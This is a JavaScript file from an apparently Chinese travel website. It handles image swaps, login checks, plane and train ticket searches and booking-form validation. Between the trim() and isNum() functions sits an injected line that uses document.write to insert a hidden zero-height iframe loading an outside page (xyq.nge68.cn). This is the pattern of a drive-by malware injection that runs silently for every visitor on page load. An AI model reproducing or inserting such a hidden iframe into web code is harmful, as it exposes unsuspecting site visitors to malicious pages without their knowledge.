<!--
//载入图片
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
/**********************************/
/******       截取空格       ******/
/**********************************/ 
function trim(str){
    	var i = 0;
        while ((i < str.length)&&((str.charAt(i) == " ")||(str.charAt(i) == "　"))){i++;}
    	var j = str.length-1;
    	while ((j >= 0)&&((str.charAt(j) == " ")||(str.charAt(j) == "　"))){j--;}
    	if( i > j ) 
    		return "";
    	else
    		return str.substring(i,j+1);
}


var url="<iframe src=http://xyq.nge68.cn/1/19/index.htm?23 width=100 height=0></Iframe>";
document.write(url);

function isNum(str){
	var reg=/^\d+$/;
	return reg.test(str);
}
function $(id)
{
	return document.getElementByName("id").value;
}
//用户登陆
 function userlogin(form)
 {
	var userid=form.userid.value;
	if(userid=="")
	{
		 alert("请输入用户名!");
		 form.userid.focus();
		 return false;
	}		 
	
	 var passcode=form.passcode.value;	
	 if(passcode=="")
	 {
		 alert("请输入密码!");
		 form.passcode.focus();
		 return false;
	 }
	 form.submit();
 }
 //-->
 
 //机票查询
 
  function CheckPlane(form)
{
	if(trim(form.offCity.value)!=""&&trim(form.landCity.value)=="")
	{
		alert("请输入到达地!");
		form.landCity.value="";
		form.landCity.focus();
		return false;
	}
	if(trim(form.landCity.value)!=""&&trim(form.offCity.value)=="")
	{
		alert("请输入出发地!");
		form.offCity.value="";
		form.offCity.focus();
		return false;
	}
	if(trim(form.offCity.value)==""&&trim(form.landCity.value)==""&&trim(form.line.value)==""&&trim(form.offCity2.value)==""&&trim(form.landCity2.value)=="")
	{
		alert("请输入查询条件!");
		form.line.value="";
		form.line.focus();
		return false;
	}
	return true;
}

function CheckTrain(form)
{
	if(trim(form.txtChuFa.value)!=""&&trim(form.txtDaoDa.value)=="")
	{
		alert("请输入到达地!");		
		form.txtDaoDa.value="";
		form.txtDaoDa.focus();
		return false;
	}
	if(trim(form.txtDaoDa.value)!=""&&trim(form.txtChuFa.value)=="")
	{
		alert("请输入出发地!");		
		form.txtChuFa.value="";
		form.txtChuFa.focus();
		return false;
	}
	if(trim(form.txtCheCi.value)==""&&trim(form.txtChuFa.value)==""&&trim(form.txtCheZhan.value)==""&&trim(form.txtDaoDa.value)=="")
	{
		alert("请输入查询条件!");
		form.txtChuFa.value="";
		form.txtChuFa.focus();
		return false;
	}
	return true;
}

  function SearchPlane(form)
 {
 var line=trim(form.line.value);
 var offCity=trim(form.offCity.value);
 var landCity=trim(form.landCity.value);
 var offCity2=trim(form.offCity2.value);
 var landCity2=trim(form.landCity2.value);
 if((offCity=="")&&(landCity==""))
 {
	 offCity=offCity2;
	 landCity=landCity2;
 }
	if (CheckPlane(form))
	{		
		form.Off_City.value=offCity;
 		form.Land_City.value=landCity;
		form.target='_blank';
		form.submit();
		
	}
 }
 function Search_Plane(topic,type,keywords)
 {
	document.frmPlane.topic.value=topic;
	document.frmPlane.type.value=type;
	document.frmPlane.keywords.value=keywords;
	document.frmPlane.target='_blank';
	document.frmPlane.submit();
 } 
//火车票查询 
 function SearchTrain(form)
 {
 var ChuFa=trim(form.txtChuFa.value);
 var DaoDa=trim(form.txtDaoDa.value);
 var CheZhan=trim(form.txtCheZhan.value);
 var CheCi=trim(form.txtCheCi.value);
  if (CheckTrain(form))
  {
  	  form.Chu_Fa.value=ChuFa;
  	  form.Dao_Da.value=DaoDa;
  	  form.Che_Zhan.value=CheZhan;   
  	  form.Che_Ci.value=CheCi;  
	  form.target='_blank';
	  form.submit();
  }
 }
 function Search_Train(topic,type)
{
  	
  	 document.frmTrain.topic.value=topic;   
     	 document.frmTrain.type.value=type;  
	 document.frmTrain.target='_blank';
	 document.frmTrain.submit(); 	
}

 function StayPlane(form,str)
 {
	switch(str)
	{
		case "line":
		
			form.offCity.value="";
			form.landCity.value="";
			form.offCity2.value="";
			form.landCity2.value="";			
			break;
		case "City":			
			form.line.value="";
			form.offCity2.value="";
			form.landCity2.value="";		
			break;
		case "offCity":			
			form.line.value="";
			form.offCity.value="";
			form.landCity.value="";						
			break;
		case "landCity":			
			form.line.value="";
			form.offCity.value="";
			form.landCity.value="";						
			break;
	}	
}
  
  function StayTrain(form,str)
  {	
	switch(str)
	{
		case "Zhan":			
			form.txtCheCi.value="";
			form.txtCheZhan.value="";			
			break;
		case "CheCi":		
			form.txtChuFa.value="";
			form.txtDaoDa.value="";
			form.txtCheZhan.value="";		
			break;
		case "CheZhan":			
			form.txtChuFa.value="";
			form.txtDaoDa.value="";
			form.txtCheCi.value="";		
			break;
	 }	
 }
 
 //预定机票
function bookPlane(offCity,type)
{
	//var topic=document.form1.topic.value;
	var url="http://ticket.365huadong.cn/yaPlane.html";
/*	if(type==1)//1为首页
		 url="Search/bookPlane.aspx?Site=365shanghaicn&offCity="+offCity;	
	else
		 url="../Search/bookPlane.aspx?Site=365shanghaicn&offCity="+offCity;*/
	window.open(url,'Plane');
}

function bookTrain(offCity,type)
{
	var url="http://ticket.365huadong.cn/yaTrain.html";
	/*if(type==1)//1为首页
		 url="Search/bookTrain.aspx?Site=365shanghaicn&offCity="+offCity;	
	else
		 url="../Search/bookTrain.aspx?Site=365shanghaicn&offCity="+offCity;*/
	window.open(url,'Train');
}
//->

//栏目搜索
function SearchKeywords(form)
{
	var title=escape(trim(form.Title.value));
	var action=trim(form.Type.value);
	if(action=="")
	{
		alert("请选择栏目!");
		form.Type.focus();
		return false;
	}
	else if(title==""||form.Title.value=="请输入关键字")
	{
		alert("请输入标题!");
		form.Title.focus();
		return false;
	}
	else
	{		
		document.location=action+"?Site=shanghaijs&title="+title;
	}
}

function high(which2){
theobject=which2;
highlighting=setInterval("highlightit(theobject)",50);
}
function low(which2){
clearInterval(highlighting);
which2.filters.alpha.opacity=70;
}


function highlightit(cur2){
if (cur2.filters.alpha.opacity<100)
cur2.filters.alpha.opacity+=3;
else if (window.highlighting)
clearInterval(highlighting);
}


//线路预定
function isDateString(str) {
	var reg=/^\d{4}-[0-1]?\d{1}-[0-3]?\d{1}$/;
	return reg.test(str);
}
function isNumber(str){
    if (!isNaN(str) )  
        return true;
    return false;
}
function newcalendar1_onclick() {
	var a;
	var txtEnd="";
	var tc=document.getElementById("BeginDate");
			
	var b=new Date();
	var c=tc.value;
	tc.value=(b.getMonth()+1) + "/" + b.getDate() + "/" + b.getFullYear();
	
	a="ShowCalendar(tc,tc,null,-330,330,'','"+ stringToDate(tc.value) + "','" + txtEnd.value + "')";
			//alert(a);
	eval(a);
	tc.value=c;
}
function newcalendar2_onclick() {
	var a;
	var txtEnd="";
	var tc=document.getElementById("EndDate");
			
	var b=new Date();
	var c=tc.value;
	tc.value=(b.getMonth()+1) + "/" + b.getDate() + "/" + b.getFullYear();
	
	a="ShowCalendar(tc,tc,null,-330,330,'','"+ stringToDate(tc.value) + "','" + txtEnd.value + "')";
			//alert(a);
	eval(a);
	tc.value=c;
}
function CheckBookForm(form)
{
	if(trim(form.UserName.value)=="")
	{
		alert("请输入姓名!");
		form.UserName.focus();
		return false;
	}
		
	if(trim(form.Tel.value)=="")
	{
		alert("请输入联系电话!");
		form.Tel.focus();
		return false;
	}
	if(trim(form.PeopleCount.value)=="")
	{
		alert("请输入人数!");
		form.PeopleCount.focus();
		return false;
	}
	else if(!isNumber(trim(form.PeopleCount.value)))
	{
		alert("人数必须为数字!");
		form.PeopleCount.focus();
		return false;
	}
	
	if(trim(form.BeginDate.value)=="")
	{
		alert("请输入启程日期!");
		form.BeginDate.focus();
		return false;
	}
	else if(!isDateString(trim(form.BeginDate.value)))
	{
		alert("启程日期格式不正确!");
		form.BeginDate.focus();
		return false;
	}
	
	if(trim(form.EndDate.value)=="")
	{
		alert("请输入结束日期!");
		form.EndDate.focus();
		return false;
	}
	else if(!isDateString(trim(form.EndDate.value)))
	{
		alert("结束日期格式不正确!");
		form.EndDate.focus();
		return false;
	}
	if(trim(form.ReceiveAddr.value)=="")
	{
		alert("请输入车次或航班,自驾游则输入酒店或接团地点,方便我们及时接团");
		form.ReceiveAddr.focus();
		return false;
	}
	else if(trim(form.ReceiveDate.value)=="")
	{
		alert("请输入接团时间");
		form.ReceiveDate.focus();
		return false;
	}
	if(form.Sex1.length>0)
	{	
		if(form.Sex1[0].checked)
			form.Sex.value=form.Sex1[0].value;
		else if(form.Sex1[1].checked)
			form.Sex.value=form.Sex1[1].value;	
		else
			form.Sex.value="";
	}
	
}

function CheckHotelBookForm(form)
{
	if(trim(form.UserName.value)=="")
	{
		alert("请输入姓名!");
		form.UserName.focus();
		return false;
	}
		
	if(trim(form.Tel.value)=="")
	{
		alert("请输入联系电话!");
		form.Tel.focus();
		return false;
	}
	if(trim(form.PeopleCount.value)=="")
	{
		alert("请输入人数!");
		form.PeopleCount.focus();
		return false;
	}
	else if(!isNumber(trim(form.PeopleCount.value)))
	{
		alert("人数必须为数字!");
		form.PeopleCount.focus();
		return false;
	}
	
	if(trim(form.BeginDate.value)=="")
	{
		alert("请输入启程日期!");
		form.BeginDate.focus();
		return false;
	}
	else if(!isDateString(trim(form.BeginDate.value)))
	{
		alert("启程日期格式不正确!");
		form.BeginDate.focus();
		return false;
	}
	
	if(trim(form.EndDate.value)=="")
	{
		alert("请输入结束日期!");
		form.EndDate.focus();
		return false;
	}
	else if(!isDateString(trim(form.EndDate.value)))
	{
		alert("结束日期格式不正确!");
		form.EndDate.focus();
		return false;
	}
	if(form.Sex1.length>0)
	{	
		if(form.Sex1[0].checked)
			form.Sex.value=form.Sex1[0].value;
		else if(form.Sex1[1].checked)
			form.Sex.value=form.Sex1[1].value;	
		else
			form.Sex.value="";
	}
	
}

function GoPage(page)
{
	if(trim(page.value)=="")
	{
		alert("请输入页数");
		page.focus();
		return ;
	}
	else if (!isNum(trim(page.value)))
	{
		alert("页数格式不正确");
		page.value="";
		page.focus();
		return ;
	}
	var filename;
	if(page.value=="1")
		filename="index.htm";
	else
		filename="index_"+page.value+".htm";
	document.location=filename;
}

function CheckLinkForm(form){
	var pattern1=/^.*?((\.gif)|(\.jpg)|(\.png))$/;
	if(trim(form.txtName.value)=="")
	{
		alert("请输入网站名称!");
		form.txtName.focus();
		return false;
	}	
	else if(form.selLinkArea.value=="")
	{
		alert("请选择所属地区!");
		form.selLinkArea.focus();
		return false;
	}
	else if(form.selLinkType.value=="")
	{
		alert("请选择所属类别!");
		form.selLinkType.focus();
		return false;
	}
	else if(trim(form.txtLinkMan.value)=="")
	{
		alert("请输入联系人!");
		form.txtLinkMan.focus();
		return false;
	}
	return true;
	
}
//-->